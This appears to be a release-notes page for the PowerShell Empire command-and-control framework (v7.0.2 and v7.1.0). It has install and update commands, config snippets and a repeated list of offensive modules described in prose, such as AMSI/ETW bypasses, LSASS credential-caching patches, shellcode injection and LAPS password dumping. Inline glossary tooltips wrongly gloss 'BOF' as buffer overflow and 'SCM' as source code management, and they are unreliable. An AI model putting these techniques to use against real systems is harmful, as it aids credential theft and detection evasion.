No entries match these filters. Clear filters
PowerShell Empire adds file logging with rotation controls and lets listeners advertise a separate public port for reverse-proxy deployments︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ GET THIS VERSION
copy
$ git clone --branch v7.1.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v7.1.0
└──▷ USE IT
Run Empire in a container with log output going only to the console, or enable file logging with rotation limits so logs do not grow unbounded.
yaml
copy
logging:
file_logging: true
max_bytes: 10485760
backup_count: 5
Suppress file logging entirely via environment variable when deploying Empire as a container where stdout is captured by the orchestrator.
copy
$ EMPIRE_LOGGING__FILE_LOGGING=false empire-server
Enable file logging in containers and control log rotation by setting logging.file_logging, logging.max_bytes, and logging.backup_count in server config, or via the EMPIRE_LOGGING__FILE_LOGGING environment variable.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Not checked yet
1 detail in Everything
└──▷ BREAKING ON UPGRADE
! STAGE1 Ed25519 Ed25519 A fast elliptic-curve signature scheme with small keys, the default for new SSH keys and common in code signing. It is not quantum-safe. signatures now cover the handshake transcript instead of the constant "SIGNATURE"; re-stage all pre-7.1 agents or they will fail to connect.! The AES AES A symmetric block cipher standardized by NIST that encrypts data in 128-bit blocks using 128-, 192-, or 256-bit keys; tools use it because hardware acceleration makes it fast enough for bulk encryption. -CBC payload layer now derives separate AES and HMAC HMAC A keyed hash that proves a message came from someone holding a shared secret and was not altered. Webhooks and API request signing commonly use it. keys from the shared key with HKDF HKDF A key-derivation function defined in RFC 5869 that stretches or diversifies a secret using HMAC, giving cyber tools a standard way to produce cryptographically strong keys from shared secrets or raw entropy. -SHA256 SHA256 A cryptographic hash function that turns data into a fixed 256-bit fingerprint. It is used to check integrity; hashing does not encrypt the original data. (empire-enc / empire-mac) instead of reusing one key; existing sessions are incompatible.! The linux/pyinstaller stager's BinaryFile option is now a bare file name defaulting to empire rather than /tmp/empire; any directory component is ignored.! The http and http_malleable listeners now serve their default response instead of a Werkzeug 500 page for any error that escapes a view.! The http_hop listener's OutFolder is now relative to downloads/http_hop and defaults to redirectors; hop listeners stored with an absolute path outside it no longer start.! OpenAPI OpenAPI A vendor-neutral specification for describing REST APIs in a machine-readable format, maintained by the OpenAPI Initiative. Cyber tools use it to auto-generate clients, documentation, and validation from a single source of truth. operation ids are now {tag}_{route name} (e.g. agents_read_agent) instead of FastAPI's path-and-method default, renaming the three generated Body_* request schemas; every generated client method name changes.! The agent-task and plugin-task routes are now tagged with only their primary resource, dropping the tasks tag group.! The /api/v2/obfuscation routes moved from the keywords tag to obfuscation.! empire_server.log and listener_<name>.log now rotate at 10 MB with 5 backups, deleting older data; set logging.max_bytes: 0 for unbounded logs.! The ExtFile, File , and Shellcode module options must now name a path inside the server's downloads directory; saved workflows pointing elsewhere are rejected until the file is uploaded through the API.
./ps-empire update adds a one-step command to refresh Empire source, Starkiller, compiler, and plugin registries
└──▷ TRY IT
Keep a production Empire instance fully up to date in a CI/automation pipeline without manual confirmation prompts.
copy
$ ./ps-empire update -y
Adds ./ps-empire update -y flag to auto-confirm all cache-migration and database-migration prompts for non-interactive/CI use. Not checked yet Supports user-local config overrides via ~/.config/empire/config.user.yaml, which the server merges on top of the base ~/.config/empire/config.yaml at startup, preventing overrides from being lost on update. Not checked yet Clarifies that CertPath for HTTPS HTTPS HTTP carried over an encrypted TLS connection. It protects traffic in transit and lets a browser verify the server's certificate. listeners is a directory containing empire-chain.pem and empire-priv.key, with a self-signed pair generated in ~/.local/share/empire/cert/ on first server start. Not checked yet
Adds ./ps-empire update -y flag to auto-confirm all cache-migration and database-migration prompts for non-interactive/CI use. Not checked yet Supports user-local config overrides via ~/.config/empire/config.user.yaml, which the server merges on top of the base ~/.config/empire/config.yaml at startup, preventing overrides from being lost on update. Not checked yet
1 more in Everything
└──▷ BREAKING ON UPGRADE
! ./ps-empire update overwrites ~/.config/empire/config.yaml with the shipped template on every run — any edits made directly to that file will be lost; move local customizations to ~/.config/empire/config.user.yaml before upgrading.! Empire 7.0 replaced bcrypt bcrypt A deliberately slow password-hashing function, so a stolen password database takes far longer to crack by guessing. Argon2 and scrypt are newer alternatives built on the same idea. password hashing with PBKDF2-HMAC-SHA256 HMAC-SHA256 A keyed hash that proves a message came from someone holding a shared secret and was not altered. Webhooks and API request signing commonly use it. , making pre-7.0 password hashes unusable; a fresh database (--reset) is required — there is no in-place upgrade path from 6.x.! Earlier installs that ran ./ps-empire install under sudo left ~/.config/empire/ and ~/.local/share/empire/ root-owned; update aborts if it detects this — fix with sudo chown -R "$USER" ~/.config/empire ~/.local/share/empire.
Empire v7 adds 30+ BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. modules, AES-256-GCM AES-256-GCM AES encryption in Galois/Counter Mode, which encrypts data and detects tampering in one pass. It is the default cipher for TLS and most disk and cloud encryption. , chunked uploads, persistent chdir, and a new ps-empire update subcommand︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ GET THIS VERSION
copy
$ git clone --branch v7.0.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v7.0.2
└──▷ TRY IT
Upgrade an Empire server to the latest release, automatically confirming the database backup prompt and applying any pending schema migrations.
copy
$ ./ps-empire update -y
Serve an already-built Starkiller from a local directory for an air-gapped install, bypassing the GitHub clone step at startup.
config.user.yaml
copy
starkiller:
directory: /opt/starkiller/dist
Adds ./ps-empire update subcommand that moves the checkout to the latest release tag, refreshes config.yaml, fast-forwards Starkiller, the plugin registry, and the Empire Compiler binary, and applies pending Alembic migrations; use -y to auto-confirm the backup prompt.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Not checked yet Adds starkiller.directory config option to serve an already-built Starkiller instead of cloning from GitHub, enabling air-gapped and distro-packaged installs. Not checked yet Adds POST /api/v2/agents/{id}/tasks/chdir endpoint and TASK_CHDIR (opcode 44) for persistently changing an agent's working directory across PowerShell, Python, and IronPython agents. Not checked yet Adds chunked file uploads to agents — files split into 512KB chunks drip-fed across checkins — removing the previous 1MB upload limit with backward-compatible protocol detection. Not checked yet Adds AES AES A symmetric block cipher standardized by NIST that encrypts data in 128-bit blocks using 128-, 192-, or 256-bit keys; tools use it because hardware acceleration makes it fast enough for bulk encryption. -256-GCM across the stack: an AES256GCM AEAD class in encryption.py (server), agent/stagers/common/aesgcm.py for Python/IronPython stagers, and a .NET 4.x AesGcmHelper for PowerShell stagers. Not checked yet
+45 more
show less
Adds MergeReferences option to the C# module YAML schema, enabling ILRepack dependency merging via the Empire Compiler --merge-references flag. Not checked yet Adds InjectSelf option (default true) to inject_amsi_bypass and inject_etw_bypass — set false to target a remote PID instead of the agent's own process. Not checked yet Adds SafeChecksPS / SafeChecksPython bypass YAMLs consolidating bypass snippets; opt in via a stager's Bypasses parameter. Not checked yet Adds parser support for the Cobalt Strike http-config block in malleable HTTP listeners, wiring trust_x_forwarded_for (default false) and block_useragents (fnmatch globs). Not checked yet Adds a krb_session_key credential type storing Rubeus session keys as <keytype>:<base64key>, captured from both dump and asktgt/asktgs output. Not checked yet Adds a per-option format_string override and {{ VALUE_ARRAY }} token for rendering PowerShell [Array] parameters as double-quoted, comma-joined elements. Not checked yet Adds AFTER_CHAT_MESSAGE_HOOK core hook fired with (db, message: ChatMessage) after a chat message is persisted, enabling plugins to observe chat traffic. Not checked yet Adds a downloadable chatlog report via report=chat (included in report=all), exporting chatlog.csv; chat is now persisted to a new chat_messages table (Alembic migration 0003) and chat/history returns the most recent 20 messages. Not checked yet Adds an Inveigh credential parser (situational_awareness/host/inveigh) that ingests NetNTLMv1/v2 hashes from task output, tagging machine accounts as inveigh machine_account. Not checked yet Adds SharpHound C# module for BloodHound Active Directory Active Directory Microsoft's directory service for Windows networks that centralises authentication and authorisation; cyber tools target or integrate with it because it controls identity and access across most enterprise environments. enumeration with ILRepack assembly merging. Not checked yet Adds situational-awareness modules powershell/situational_awareness/host/{processes,ipconfig,route,dir_list} and python/situational_awareness/host/processes, emitting JSON for server-side filters. Not checked yet Adds wdtoggle BOF module to patch WDigest/Credential Guard in LSASS to re-enable plaintext credential caching. Not checked yet Adds psx BOF module for a process list annotated with detected security products (AV/EDR EDR Endpoint detection and response, monitoring computers for suspicious behavior and providing investigation and response controls, such as isolating a device. /logging tools). Not checked yet Adds psm BOF module for detailed single-process info by PID — loaded modules, TCP TCP A network protocol that delivers a reliable, ordered stream of bytes between two endpoints. It detects lost data and retransmits it. connections, and RDP RDP A Microsoft protocol that lets a user view and control a remote Windows desktop over a network, giving cyber tools a standard channel to audit, attack-simulate, or monitor Windows systems remotely. sessions. Not checked yet Adds psk BOF module to enumerate loaded kernel modules/drivers annotated with security-product driver detection. Not checked yet Adds psw BOF module to enumerate window titles across running processes. Not checked yet Adds psc BOF module for a process list with active TCP connections and RDP session details. Not checked yet Adds winver BOF module to retrieve Windows version, build number, and patch revision of the target host. Not checked yet Adds netuse_add, netuse_list, and netuse_delete BOF modules for mapping shares, enumerating connections, and disconnecting mapped drives. Not checked yet Adds sc_enum BOF module to bulk-enumerate all services on a local or remote host via SCM SCM Source Code Management: version-control systems (Git, SVN, etc.) that track changes to code over time, giving cyber tools reproducible builds, audit trails, and collaborative development workflows. (config, query, failure, and trigger data). Not checked yet Adds sc_qc BOF module to query a Windows service's configuration (binary path, start type, account, dependencies) via SCM. Not checked yet Adds sc_qdescription BOF module to query a Windows service's description via SCM. Not checked yet Adds sc_qfailure BOF module to query a Windows service's failure actions (restart, run command, reboot) via SCM. Not checked yet Adds sc_qtriggerinfo BOF module to query the trigger events that start or stop a Windows service. Not checked yet Adds netuserenum BOF module to enumerate local or domain user accounts via NetUserEnum with a configurable filter. Not checked yet Adds nslookup BOF module for DNS lookups via the Windows DNS client API, with optional custom server and record type. Not checked yet Adds notepad BOF module to enumerate open Notepad/Notepad++ windows and extract the displayed file path or in-memory text. Not checked yet Adds findLoadedModule BOF module to enumerate processes that have a given module (DLL DLL A Windows file format containing compiled code and data that multiple programs can load and share at runtime, letting cyber tools inject functionality into other processes or hook system calls. substring) loaded — useful for locating injection targets and fingerprinting EDR. Not checked yet Adds vssenum BOF module to enumerate Volume Shadow Copies exposed on a host's SMB SMB A network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. share, useful for locating offline SAM/SYSTEM/NTDS hives. Not checked yet Adds addmachineaccount BOF module for adding machine accounts (lateral movement lateral movement Moving from an initially compromised system or identity to other resources in a network. Attackers often use stolen credentials or trusted connections to expand their access. ). Not checked yet Adds nonpaged_ldapsearch BOF module for synchronous non-paged LDAP LDAP A protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory. queries against a domain controller, useful when paged queries are throttled. Not checked yet Adds ldapsearch BOF module for LDAP/LDAPS LDAPS LDAP over TLS — the encrypted variant of the Lightweight Directory Access Protocol, standardized in RFC 2830, used to query directory services like Active Directory without exposing credentials in plaintext. queries against a domain controller with configurable scope. Not checked yet Adds reg_query BOF module for in-agent Windows registry queries — key enumeration, value lookup, and recursive traversal — on local or remote systems. Not checked yet Adds etw_patching BOF module to patch or revert EtwEventWrite in ntdll to degrade ETW ETW Event Tracing for Windows, a Microsoft kernel-level logging framework that lets applications and drivers emit structured events; cyber tools use it to observe process, network, and file activity without installing additional sensors. logging in-process. Not checked yet Adds static_syscalls_dump BOF module to dump a target process's memory via static syscall numbers, bypassing ntdll hooks. Not checked yet Adds static_syscalls_inject BOF module to inject shellcode into a remote process via static syscalls. Not checked yet Adds static_syscalls_apc_spawn BOF module to spawn a temporary process and inject shellcode via APC queue using static syscalls. Not checked yet Adds syscalls_shellcode_injection BOF module to inject shellcode into a remote process via direct syscalls. Not checked yet Adds reconad BOF module for ADSI-based Active Directory reconnaissance. Not checked yet Adds domaininfo BOF module to report AD domain membership and Azure AD join status of the host. Not checked yet Adds smbinfo BOF module to retrieve SMB server info via NetServerGetInfo. Not checked yet Adds findmodule BOF module to find processes with a given module (DLL) loaded. Not checked yet Adds findprochandle BOF module to find processes holding a handle to a named object. Not checked yet Adds startwebclient BOF module to start the WebClient service via ETW trigger registration. Not checked yet Adds lapsdump BOF module to dump LAPS LAPS A Microsoft feature that automatically generates, rotates, and stores unique local administrator passwords for each Windows machine in Active Directory, eliminating shared static credentials across a fleet. passwords (ms-Mcs-AdmPwd) from AD via LDAP. Not checked yet
Adds ./ps-empire update subcommand that moves the checkout to the latest release tag, refreshes config.yaml, fast-forwards Starkiller, the plugin registry, and the Empire Compiler binary, and applies pending Alembic migrations; use -y to auto-confirm the backup prompt.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Not checked yet Adds starkiller.directory config option to serve an already-built Starkiller instead of cloning from GitHub, enabling air-gapped and distro-packaged installs. Not checked yet Adds POST /api/v2/agents/{id}/tasks/chdir endpoint and TASK_CHDIR (opcode 44) for persistently changing an agent's working directory across PowerShell, Python, and IronPython agents. Not checked yet Adds AES AES A symmetric block cipher standardized by NIST that encrypts data in 128-bit blocks using 128-, 192-, or 256-bit keys; tools use it because hardware acceleration makes it fast enough for bulk encryption. -256-GCM across the stack: an AES256GCM AEAD class in encryption.py (server), agent/stagers/common/aesgcm.py for Python/IronPython stagers, and a .NET 4.x AesGcmHelper for PowerShell stagers. Not checked yet Adds MergeReferences option to the C# module YAML schema, enabling ILRepack dependency merging via the Empire Compiler --merge-references flag. Not checked yet
+43 more
show less
Adds SafeChecksPS / SafeChecksPython bypass YAMLs consolidating bypass snippets; opt in via a stager's Bypasses parameter. Not checked yet Adds parser support for the Cobalt Strike http-config block in malleable HTTP listeners, wiring trust_x_forwarded_for (default false) and block_useragents (fnmatch globs). Not checked yet Adds a krb_session_key credential type storing Rubeus session keys as <keytype>:<base64key>, captured from both dump and asktgt/asktgs output. Not checked yet Adds a per-option format_string override and {{ VALUE_ARRAY }} token for rendering PowerShell [Array] parameters as double-quoted, comma-joined elements. Not checked yet Adds AFTER_CHAT_MESSAGE_HOOK core hook fired with (db, message: ChatMessage) after a chat message is persisted, enabling plugins to observe chat traffic. Not checked yet Adds a downloadable chatlog report via report=chat (included in report=all), exporting chatlog.csv; chat is now persisted to a new chat_messages table (Alembic migration 0003) and chat/history returns the most recent 20 messages. Not checked yet Adds an Inveigh credential parser (situational_awareness/host/inveigh) that ingests NetNTLMv1/v2 hashes from task output, tagging machine accounts as inveigh machine_account. Not checked yet Adds SharpHound C# module for BloodHound Active Directory Active Directory Microsoft's directory service for Windows networks that centralises authentication and authorisation; cyber tools target or integrate with it because it controls identity and access across most enterprise environments. enumeration with ILRepack assembly merging. Not checked yet Adds situational-awareness modules powershell/situational_awareness/host/{processes,ipconfig,route,dir_list} and python/situational_awareness/host/processes, emitting JSON for server-side filters. Not checked yet Adds wdtoggle BOF module to patch WDigest/Credential Guard in LSASS to re-enable plaintext credential caching. Not checked yet Adds psx BOF module for a process list annotated with detected security products (AV/EDR EDR Endpoint detection and response, monitoring computers for suspicious behavior and providing investigation and response controls, such as isolating a device. /logging tools). Not checked yet Adds psm BOF module for detailed single-process info by PID — loaded modules, TCP TCP A network protocol that delivers a reliable, ordered stream of bytes between two endpoints. It detects lost data and retransmits it. connections, and RDP RDP A Microsoft protocol that lets a user view and control a remote Windows desktop over a network, giving cyber tools a standard channel to audit, attack-simulate, or monitor Windows systems remotely. sessions. Not checked yet Adds psk BOF module to enumerate loaded kernel modules/drivers annotated with security-product driver detection. Not checked yet Adds psw BOF module to enumerate window titles across running processes. Not checked yet Adds psc BOF module for a process list with active TCP connections and RDP session details. Not checked yet Adds winver BOF module to retrieve Windows version, build number, and patch revision of the target host. Not checked yet Adds netuse_add, netuse_list, and netuse_delete BOF modules for mapping shares, enumerating connections, and disconnecting mapped drives. Not checked yet Adds sc_enum BOF module to bulk-enumerate all services on a local or remote host via SCM SCM Source Code Management: version-control systems (Git, SVN, etc.) that track changes to code over time, giving cyber tools reproducible builds, audit trails, and collaborative development workflows. (config, query, failure, and trigger data). Not checked yet Adds sc_qc BOF module to query a Windows service's configuration (binary path, start type, account, dependencies) via SCM. Not checked yet Adds sc_qdescription BOF module to query a Windows service's description via SCM. Not checked yet Adds sc_qfailure BOF module to query a Windows service's failure actions (restart, run command, reboot) via SCM. Not checked yet Adds sc_qtriggerinfo BOF module to query the trigger events that start or stop a Windows service. Not checked yet Adds netuserenum BOF module to enumerate local or domain user accounts via NetUserEnum with a configurable filter. Not checked yet Adds nslookup BOF module for DNS lookups via the Windows DNS client API, with optional custom server and record type. Not checked yet Adds notepad BOF module to enumerate open Notepad/Notepad++ windows and extract the displayed file path or in-memory text. Not checked yet Adds findLoadedModule BOF module to enumerate processes that have a given module (DLL DLL A Windows file format containing compiled code and data that multiple programs can load and share at runtime, letting cyber tools inject functionality into other processes or hook system calls. substring) loaded — useful for locating injection targets and fingerprinting EDR. Not checked yet Adds vssenum BOF module to enumerate Volume Shadow Copies exposed on a host's SMB SMB A network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. share, useful for locating offline SAM/SYSTEM/NTDS hives. Not checked yet Adds addmachineaccount BOF module for adding machine accounts (lateral movement lateral movement Moving from an initially compromised system or identity to other resources in a network. Attackers often use stolen credentials or trusted connections to expand their access. ). Not checked yet Adds nonpaged_ldapsearch BOF module for synchronous non-paged LDAP LDAP A protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory. queries against a domain controller, useful when paged queries are throttled. Not checked yet Adds ldapsearch BOF module for LDAP/LDAPS LDAPS LDAP over TLS — the encrypted variant of the Lightweight Directory Access Protocol, standardized in RFC 2830, used to query directory services like Active Directory without exposing credentials in plaintext. queries against a domain controller with configurable scope. Not checked yet Adds reg_query BOF module for in-agent Windows registry queries — key enumeration, value lookup, and recursive traversal — on local or remote systems. Not checked yet Adds etw_patching BOF module to patch or revert EtwEventWrite in ntdll to degrade ETW ETW Event Tracing for Windows, a Microsoft kernel-level logging framework that lets applications and drivers emit structured events; cyber tools use it to observe process, network, and file activity without installing additional sensors. logging in-process. Not checked yet Adds static_syscalls_dump BOF module to dump a target process's memory via static syscall numbers, bypassing ntdll hooks. Not checked yet Adds static_syscalls_inject BOF module to inject shellcode into a remote process via static syscalls. Not checked yet Adds static_syscalls_apc_spawn BOF module to spawn a temporary process and inject shellcode via APC queue using static syscalls. Not checked yet Adds syscalls_shellcode_injection BOF module to inject shellcode into a remote process via direct syscalls. Not checked yet Adds reconad BOF module for ADSI-based Active Directory reconnaissance. Not checked yet Adds domaininfo BOF module to report AD domain membership and Azure AD join status of the host. Not checked yet Adds smbinfo BOF module to retrieve SMB server info via NetServerGetInfo. Not checked yet Adds findmodule BOF module to find processes with a given module (DLL) loaded. Not checked yet Adds findprochandle BOF module to find processes holding a handle to a named object. Not checked yet Adds startwebclient BOF module to start the WebClient service via ETW trigger registration. Not checked yet Adds lapsdump BOF module to dump LAPS LAPS A Microsoft feature that automatically generates, rotates, and stores unique local administrator passwords for each Windows machine in Active Directory, eliminating shared static credentials across a fleet. passwords (ms-Mcs-AdmPwd) from AD via LDAP. Not checked yet
2 more in Everything
└──▷ BREAKING ON UPGRADE
! Password hashing switched from bcrypt bcrypt A deliberately slow password-hashing function, so a stolen password database takes far longer to crack by guessing. Argon2 and scrypt are newer alternatives built on the same idea. to PBKDF2-HMAC-SHA256 HMAC-SHA256 A keyed hash that proves a message came from someone holding a shared secret and was not altered. Webhooks and API request signing commonly use it. (600K iterations); existing bcrypt hashes are incompatible — reset passwords or recreate the database. Non-default bcrypt users must be manually reset via PUT /api/v2/users/{id}/password.! Staging key normalization replaced MD5 with SHA-256 SHA-256 A cryptographic hash function that turns data into a fixed 256-bit fingerprint. It is used to check integrity; hashing does not encrypt the original data. ; agents staged under the old algorithm must be re-staged.! CSPRNG CSPRNG A cryptographically secure pseudorandom number generator — an algorithm that produces unpredictable output suitable for secrets like keys and tokens, where a standard PRNG's statistical randomness alone would be exploitable. generation replaced random with secrets (server) and random.SystemRandom() (agent) across listeners, stagers, agents, and utilities; all deployed agents must be re-staged.! ./ps-empire update overwrites the base config.yaml on every run — move local customizations to config.user.yaml before upgrading.! Debian 11 (bullseye) is no longer a supported install platform; it has been removed from the install script, CI matrix, and docs.
Empire v7 adds 30+ BOF BOF A Buffer Overflow exploit technique where attacker-controlled input overwrites adjacent memory to hijack program execution; cyber tools use it to develop and deliver shellcode-based exploits against vulnerable binaries. modules, AES-256-GCM AES-256-GCM AES encryption in Galois/Counter Mode, which encrypts data and detects tampering in one pass. It is the default cipher for TLS and most disk and cloud encryption. , chunked uploads, persistent chdir, and a new ps-empire update subcommand︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ GET THIS VERSION
copy
$ git clone --branch v7.0.2 https://github.com/BC-SECURITY/Empire.git
$ git checkout v7.0.2
└──▷ TRY IT
Upgrade an Empire server to the latest release, automatically confirming the database backup prompt and applying any pending schema migrations.
copy
$ ./ps-empire update -y
Serve an already-built Starkiller from a local directory for an air-gapped install, bypassing the GitHub clone step at startup.
config.user.yaml
copy
starkiller:
directory: /opt/starkiller/dist
Adds ./ps-empire update subcommand that moves the checkout to the latest release tag, refreshes config.yaml, fast-forwards Starkiller, the plugin registry, and the Empire Compiler binary, and applies pending Alembic migrations; use -y to auto-confirm the backup prompt.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Not checked yet Adds starkiller.directory config option to serve an already-built Starkiller instead of cloning from GitHub, enabling air-gapped and distro-packaged installs. Not checked yet Adds POST /api/v2/agents/{id}/tasks/chdir endpoint and TASK_CHDIR (opcode 44) for persistently changing an agent's working directory across PowerShell, Python, and IronPython agents. Not checked yet Adds chunked file uploads to agents — files split into 512KB chunks drip-fed across checkins — removing the previous 1MB upload limit with backward-compatible protocol detection. Not checked yet Adds AES AES A symmetric block cipher standardized by NIST that encrypts data in 128-bit blocks using 128-, 192-, or 256-bit keys; tools use it because hardware acceleration makes it fast enough for bulk encryption. -256-GCM across the stack: an AES256GCM AEAD class in encryption.py (server), agent/stagers/common/aesgcm.py for Python/IronPython stagers, and a .NET 4.x AesGcmHelper for PowerShell stagers. Not checked yet
+45 more
show less
Adds MergeReferences option to the C# module YAML schema, enabling ILRepack dependency merging via the Empire Compiler --merge-references flag. Not checked yet Adds InjectSelf option (default true) to inject_amsi_bypass and inject_etw_bypass — set false to target a remote PID instead of the agent's own process. Not checked yet Adds SafeChecksPS / SafeChecksPython bypass YAMLs consolidating bypass snippets; opt in via a stager's Bypasses parameter. Not checked yet Adds parser support for the Cobalt Strike http-config block in malleable HTTP listeners, wiring trust_x_forwarded_for (default false) and block_useragents (fnmatch globs). Not checked yet Adds a krb_session_key credential type storing Rubeus session keys as <keytype>:<base64key>, captured from both dump and asktgt/asktgs output. Not checked yet Adds a per-option format_string override and {{ VALUE_ARRAY }} token for rendering PowerShell [Array] parameters as double-quoted, comma-joined elements. Not checked yet Adds AFTER_CHAT_MESSAGE_HOOK core hook fired with (db, message: ChatMessage) after a chat message is persisted, enabling plugins to observe chat traffic. Not checked yet Adds a downloadable chatlog report via report=chat (included in report=all), exporting chatlog.csv; chat is now persisted to a new chat_messages table (Alembic migration 0003) and chat/history returns the most recent 20 messages. Not checked yet Adds an Inveigh credential parser (situational_awareness/host/inveigh) that ingests NetNTLMv1/v2 hashes from task output, tagging machine accounts as inveigh machine_account. Not checked yet Adds SharpHound C# module for BloodHound Active Directory Active Directory Microsoft's directory service for Windows networks that centralises authentication and authorisation; cyber tools target or integrate with it because it controls identity and access across most enterprise environments. enumeration with ILRepack assembly merging. Not checked yet Adds situational-awareness modules powershell/situational_awareness/host/{processes,ipconfig,route,dir_list} and python/situational_awareness/host/processes, emitting JSON for server-side filters. Not checked yet Adds wdtoggle BOF module to patch WDigest/Credential Guard in LSASS to re-enable plaintext credential caching. Not checked yet Adds psx BOF module for a process list annotated with detected security products (AV/EDR EDR Endpoint detection and response, monitoring computers for suspicious behavior and providing investigation and response controls, such as isolating a device. /logging tools). Not checked yet Adds psm BOF module for detailed single-process info by PID — loaded modules, TCP TCP A network protocol that delivers a reliable, ordered stream of bytes between two endpoints. It detects lost data and retransmits it. connections, and RDP RDP A Microsoft protocol that lets a user view and control a remote Windows desktop over a network, giving cyber tools a standard channel to audit, attack-simulate, or monitor Windows systems remotely. sessions. Not checked yet Adds psk BOF module to enumerate loaded kernel modules/drivers annotated with security-product driver detection. Not checked yet Adds psw BOF module to enumerate window titles across running processes. Not checked yet Adds psc BOF module for a process list with active TCP connections and RDP session details. Not checked yet Adds winver BOF module to retrieve Windows version, build number, and patch revision of the target host. Not checked yet Adds netuse_add, netuse_list, and netuse_delete BOF modules for mapping shares, enumerating connections, and disconnecting mapped drives. Not checked yet Adds sc_enum BOF module to bulk-enumerate all services on a local or remote host via SCM SCM Source Code Management: version-control systems (Git, SVN, etc.) that track changes to code over time, giving cyber tools reproducible builds, audit trails, and collaborative development workflows. (config, query, failure, and trigger data). Not checked yet Adds sc_qc BOF module to query a Windows service's configuration (binary path, start type, account, dependencies) via SCM. Not checked yet Adds sc_qdescription BOF module to query a Windows service's description via SCM. Not checked yet Adds sc_qfailure BOF module to query a Windows service's failure actions (restart, run command, reboot) via SCM. Not checked yet Adds sc_qtriggerinfo BOF module to query the trigger events that start or stop a Windows service. Not checked yet Adds netuserenum BOF module to enumerate local or domain user accounts via NetUserEnum with a configurable filter. Not checked yet Adds nslookup BOF module for DNS lookups via the Windows DNS client API, with optional custom server and record type. Not checked yet Adds notepad BOF module to enumerate open Notepad/Notepad++ windows and extract the displayed file path or in-memory text. Not checked yet Adds findLoadedModule BOF module to enumerate processes that have a given module (DLL DLL A Windows file format containing compiled code and data that multiple programs can load and share at runtime, letting cyber tools inject functionality into other processes or hook system calls. substring) loaded — useful for locating injection targets and fingerprinting EDR. Not checked yet Adds vssenum BOF module to enumerate Volume Shadow Copies exposed on a host's SMB SMB A network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. share, useful for locating offline SAM/SYSTEM/NTDS hives. Not checked yet Adds addmachineaccount BOF module for adding machine accounts (lateral movement lateral movement Moving from an initially compromised system or identity to other resources in a network. Attackers often use stolen credentials or trusted connections to expand their access. ). Not checked yet Adds nonpaged_ldapsearch BOF module for synchronous non-paged LDAP LDAP A protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory. queries against a domain controller, useful when paged queries are throttled. Not checked yet Adds ldapsearch BOF module for LDAP/LDAPS LDAPS LDAP over TLS — the encrypted variant of the Lightweight Directory Access Protocol, standardized in RFC 2830, used to query directory services like Active Directory without exposing credentials in plaintext. queries against a domain controller with configurable scope. Not checked yet Adds reg_query BOF module for in-agent Windows registry queries — key enumeration, value lookup, and recursive traversal — on local or remote systems. Not checked yet Adds etw_patching BOF module to patch or revert EtwEventWrite in ntdll to degrade ETW ETW Event Tracing for Windows, a Microsoft kernel-level logging framework that lets applications and drivers emit structured events; cyber tools use it to observe process, network, and file activity without installing additional sensors. logging in-process. Not checked yet Adds static_syscalls_dump BOF module to dump a target process's memory via static syscall numbers, bypassing ntdll hooks. Not checked yet Adds static_syscalls_inject BOF module to inject shellcode into a remote process via static syscalls. Not checked yet Adds static_syscalls_apc_spawn BOF module to spawn a temporary process and inject shellcode via APC queue using static syscalls. Not checked yet Adds syscalls_shellcode_injection BOF module to inject shellcode into a remote process via direct syscalls. Not checked yet Adds reconad BOF module for ADSI-based Active Directory reconnaissance. Not checked yet Adds domaininfo BOF module to report AD domain membership and Azure AD join status of the host. Not checked yet Adds smbinfo BOF module to retrieve SMB server info via NetServerGetInfo. Not checked yet Adds findmodule BOF module to find processes with a given module (DLL) loaded. Not checked yet Adds findprochandle BOF module to find processes holding a handle to a named object. Not checked yet Adds startwebclient BOF module to start the WebClient service via ETW trigger registration. Not checked yet Adds lapsdump BOF module to dump LAPS LAPS A Microsoft feature that automatically generates, rotates, and stores unique local administrator passwords for each Windows machine in Active Directory, eliminating shared static credentials across a fleet. passwords (ms-Mcs-AdmPwd) from AD via LDAP. Not checked yet
